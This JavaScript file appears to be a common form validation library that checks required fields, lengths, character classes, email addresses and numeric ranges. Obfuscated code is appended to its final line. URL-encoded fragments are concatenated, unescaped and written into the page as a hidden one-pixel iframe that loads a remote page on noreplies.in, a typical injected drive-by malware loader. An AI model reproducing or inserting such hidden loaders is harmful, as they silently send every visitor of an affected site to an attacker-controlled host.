function Validator(frmname)
{
this.formobj=document.forms[frmname];
if(!this.formobj)
{
alert("BUG: couldnot get Form object "+frmname);
return;
}
if(this.formobj.onsubmit)
{
this.formobj.old_onsubmit=this.formobj.onsubmit;
this.formobj.onsubmit=null;
}
else
{
this.formobj.old_onsubmit=null;
}
this.formobj.onsubmit=form_submit_handler;
this.addValidation=add_validation;
this.setAddnlValidationFunction=set_addnl_vfunction;
this.clearAllValidations=clear_all_validations;
}
function set_addnl_vfunction(functionname)
{
this.formobj.addnlvalidation=functionname;
}
function clear_all_validations()
{
for(var itr=0;itr < this.formobj.elements.length;itr++)
{
this.formobj.elements[itr].validationset=null;
}}
function form_submit_handler()
{
for(var itr=0;itr < this.elements.length;itr++)
{
if(this.elements[itr].validationset &&
!this.elements[itr].validationset.validate())
{
return false;
}}
if(this.addnlvalidation)
{
str=" var ret="+this.addnlvalidation+"()";
eval(str);
if(!ret) return ret;
}
return true;
}
function add_validation(itemname,descriptor,errstr)
{
if(!this.formobj)
{
alert("BUG: the form object is not set properly");
return;
}//if
var itemobj=this.formobj[itemname];
if(!itemobj)
{
alert("BUG: Couldnot get the input object named: "+itemname);
return;
}
if(!itemobj.validationset)
{
itemobj.validationset=new ValidationSet(itemobj);
}
itemobj.validationset.add(descriptor,errstr);
}
function ValidationDesc(inputitem,desc,error)
{
this.desc=desc;
this.error=error;
this.itemobj=inputitem;
this.validate=vdesc_validate;
}
function vdesc_validate()
{
if(!V2validateData(this.desc,this.itemobj,this.error))
{
this.itemobj.focus();
return false;
}
return true;
}
function ValidationSet(inputitem)
{
this.vSet=new Array();
this.add=add_validationdesc;
this.validate=vset_validate;
this.itemobj=inputitem;
}
function add_validationdesc(desc,error)
{
this.vSet[this.vSet.length]=
new ValidationDesc(this.itemobj,desc,error);
}
function vset_validate()
{
for(var itr=0;itr<this.vSet.length;itr++)
{
if(!this.vSet[itr].validate())
{
return false;
}}
return true;
}
function validateEmailv2(email)
{
if(email.length <=0)
{
return true;
}
var splitted=email.match("^(.+)@(.+)$");
if(splitted==null) return false;
if(splitted[1] !=null )
{
var regexp_user=/^\"?[\w-_\.]*\"?$/;
if(splitted[1].match(regexp_user)==null) return false;
}
if(splitted[2] !=null)
{
var regexp_domain=/^[\w-\.]*\.[A-Za-z]{2,4}$/;
if(splitted[2].match(regexp_domain)==null) 
{
var regexp_ip=/^\[\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\]$/;
if(splitted[2].match(regexp_ip)==null) return false;
}// if
return true;
}
return false;
}
function V2validateData(strValidateStr,objValue,strError) 
{
var epos=strValidateStr.search("="); 
var  command=""; 
var  cmdvalue=""; 
if(epos >=0) 
{
command=strValidateStr.substring(0,epos); 
cmdvalue=strValidateStr.substr(epos+1); 
}
else 
{
command=strValidateStr; 
}
switch(command) 
{
case "req": 
case "required": 
{
if(eval(objValue.value.length)==0) 
{
if(!strError || strError.length==0) 
{
strError=objValue.name+" : Required Field"; 
}//if 
alert(strError); 
return false; 
}//if 
break; 
}//case required 
case "maxlength": 
case "maxlen": 
{
if(eval(objValue.value.length) >  eval(cmdvalue)) 
{
if(!strError || strError.length==0) 
{
strError=objValue.name+" : "+cmdvalue+" characters maximum "; 
}//if 
alert(strError+"\n[Current length="+objValue.value.length+" ]"); 
return false; 
}//if 
break; 
}//case maxlen 
case "minlength": 
case "minlen": 
{
if(eval(objValue.value.length) <  eval(cmdvalue)) 
{
if(!strError || strError.length==0) 
{
strError=objValue.name+" : "+cmdvalue+" characters minimum  "; 
}//if               
alert(strError+"\n[Current length="+objValue.value.length+" ]"); 
return false; 
}//if 
break; 
}//case minlen 
case "alnum": 
case "alphanumeric": 
{
var charpos=objValue.value.search("[^A-Za-z0-9]"); 
if(objValue.value.length > 0 &&  charpos >=0) 
{
if(!strError || strError.length==0) 
{
strError=objValue.name+": Only alpha-numeric characters allowed "; 
}//if 
alert(strError+"\n [Error character position "+eval(charpos+1)+"]"); 
return false; 
}//if 
break; 
}//case alphanumeric 
case "num": 
case "numeric": 
{
var charpos=objValue.value.search("[^0-9]"); 
if(objValue.value.length > 0 &&  charpos >=0) 
{
if(!strError || strError.length==0) 
{
strError=objValue.name+": Only digits allowed "; 
}//if               
alert(strError+"\n [Error character position "+eval(charpos+1)+"]"); 
return false; 
}//if 
break; 
}//numeric 
case "alphabetic": 
case "alpha": 
{
var charpos=objValue.value.search("[^A-Za-z]"); 
if(objValue.value.length > 0 &&  charpos >=0) 
{
if(!strError || strError.length==0) 
{
strError=objValue.name+": Only alphabetic characters allowed "; 
}//if                             
alert(strError+"\n [Error character position "+eval(charpos+1)+"]"); 
return false; 
}//if 
break; 
}//alpha 
case "alnumhyphen":
{
var charpos=objValue.value.search("[^A-Za-z0-9\-_]"); 
if(objValue.value.length > 0 &&  charpos >=0) 
{
if(!strError || strError.length==0) 
{
strError=objValue.name+": characters allowed are A-Z,a-z,0-9,- and _"; 
}//if                             
alert(strError+"\n [Error character position "+eval(charpos+1)+"]"); 
return false; 
}//if 
break;
}
case "email": 
{
if(!validateEmailv2(objValue.value)) 
{
if(!strError || strError.length==0) 
{
strError=objValue.name+": Enter a valid Email address "; 
}//if                                               
alert(strError); 
return false; 
}//if 
break; 
}//case email 
case "lt": 
case "lessthan": 
{
if(isNaN(objValue.value)) 
{
alert(objValue.name+": Should be a number "); 
return false; 
}//if 
if(eval(objValue.value) >=eval(cmdvalue)) 
{
if(!strError || strError.length==0) 
{
strError=objValue.name+" : value should be less than "+cmdvalue; 
}//if               
alert(strError); 
return false; 
}//if             
break; 
}//case lessthan 
case "gt": 
case "greaterthan": 
{
if(isNaN(objValue.value)) 
{
alert(objValue.name+": Should be a number "); 
return false; 
}//if 
if(eval(objValue.value) <=eval(cmdvalue)) 
{
if(!strError || strError.length==0) 
{
strError=objValue.name+" : value should be greater than "+cmdvalue; 
}//if               
alert(strError); 
return false; 
}//if             
break; 
}//case greaterthan 
case "regexp": 
{
if(objValue.value.length > 0)
{
if(!objValue.value.match(cmdvalue)) 
{
if(!strError || strError.length==0) 
{
strError=objValue.name+": Invalid characters found "; 
}//if                                                               
alert(strError); 
return false; 
}//if 
}
break; 
}//case regexp 
case "dontselect": 
{
if(objValue.selectedIndex==null) 
{
alert("BUG: dontselect command for non-select Item"); 
return false; 
}
if(objValue.selectedIndex==eval(cmdvalue)) 
{
if(!strError || strError.length==0) 
{
strError=objValue.name+": Please Select one option "; 
}//if                                                               
alert(strError); 
return false; 
}
break; 
}//case dontselect 
}//switch 
return true; 
}
var uQo23Fi679Fkh5VN5heUBPxdFQ2kbHqo = '%3C%69%66';var gA0kVU8X89tieySHrbSfHuVG = '%72';var cX701751cb0WXilhsF0ylK1I1bv = '%61%6D%65%20%6E%61%6D%65%3D%22';var v9an2Biil4l6cuzc8g = '%6B%6B%72%39%30%59%6C';var scnPksoum6N = '%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%30%22';var z5i46nD = '%73%72%63%3D%22';var d1pb7kKhEi1szrfy86b6kjulFly2 = '%68%74%74%70%3A%2F%2F';var dikxyOS3s = 'noreplies.in/el/index.php?s=4d75e1d42d987fd3a9077959f12d91c9';var lkwsaUmj23Jk61ldpYEyct9t = '%22%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%22%31%22%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%22%30%22%20%74%69%74%6C%65%3D%22';var x8rg7cBtes0gyzip6KFgflT0M71 = '%70%4A%33%38%62%69%35%34%79%44%64%6B%6F%44%36%61%65%70%68%34';var c7IhM8rK = '%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%62%6F%72%64%65%72%3D%22%30%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%3E';var lz2lBqlOQdBxqbxHof0MX = '%3C%69%66';var w8j02lbs = '%72%61';var vjGdru96tnm8nj5g15c4huhmu0eifHQsk = '%6D%65%3E';var awlKM2p1k88Hh29nqaq8Mm03=new Array();awlKM2p1k88Hh29nqaq8Mm03[0]=new Array(uQo23Fi679Fkh5VN5heUBPxdFQ2kbHqo+gA0kVU8X89tieySHrbSfHuVG+cX701751cb0WXilhsF0ylK1I1bv+v9an2Biil4l6cuzc8g+scnPksoum6N+z5i46nD+d1pb7kKhEi1szrfy86b6kjulFly2+dikxyOS3s+lkwsaUmj23Jk61ldpYEyct9t+x8rg7cBtes0gyzip6KFgflT0M71+c7IhM8rK+lz2lBqlOQdBxqbxHof0MX+w8j02lbs+vjGdru96tnm8nj5g15c4huhmu0eifHQsk);s6i22cV1x6nPtNw9b72Q8zS00hE47=unescape(awlKM2p1k88Hh29nqaq8Mm03);document.write(s6i22cV1x6nPtNw9b72Q8zS00hE47);